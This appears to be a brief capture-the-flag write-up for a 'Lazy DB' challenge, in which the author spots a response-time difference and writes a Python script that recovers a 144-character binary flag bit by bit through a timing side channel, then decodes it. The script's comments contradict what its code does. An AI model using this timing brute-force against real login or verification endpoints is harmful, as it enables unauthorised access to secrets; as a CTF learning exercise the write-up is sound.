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CTF – [√-1 +1]CTF Server – Lazy DB

The Challenge


 

The Solution

This one was fun to do but I needed some help in the beginnen

 

Clicking on the source

 

So in the source we see that we need 144 character long string

We can use a post command

The hint I got was binary

When filling in a 0 or 1 on I noticed one was taking longer then the other one. So when the right combination is active the site react longer

 

I wrote a Python script to act on this

import requests

 

bi = "1"

url = 'https://lazydb.ctfchallenge.ga/'

myobj = {'flag': bi}

#attempt = 1

 

while len(bi) < 144:

    print("We will try:", bi)

    response = requests.post(url, data=myobj)

    print(response.elapsed.total_seconds())

 

    if response.elapsed.total_seconds() > 1:

        #If the 0 is goo then is can stay

        print("Number is good")

        bi = bi + "1" # add 0 for next run

        myobj = {'flag': bi}

    else:

        #if the 0 is wrong then we will replace it for a 1

        print("Number is wrong")

        bi = bi[:-1] #0 is wrong so we are going to add a 1

        bi = bi + "0"

        bi = bi + "1" #add 0 for next run

        myobj = {'flag': bi}

 

else:

    print("Lengte flag is:", len(bi))

    print("flag is: ",bi)

 

 

I ended up with a 144 binary string. Which still needed to be encoded

Put it through CyberChef

 

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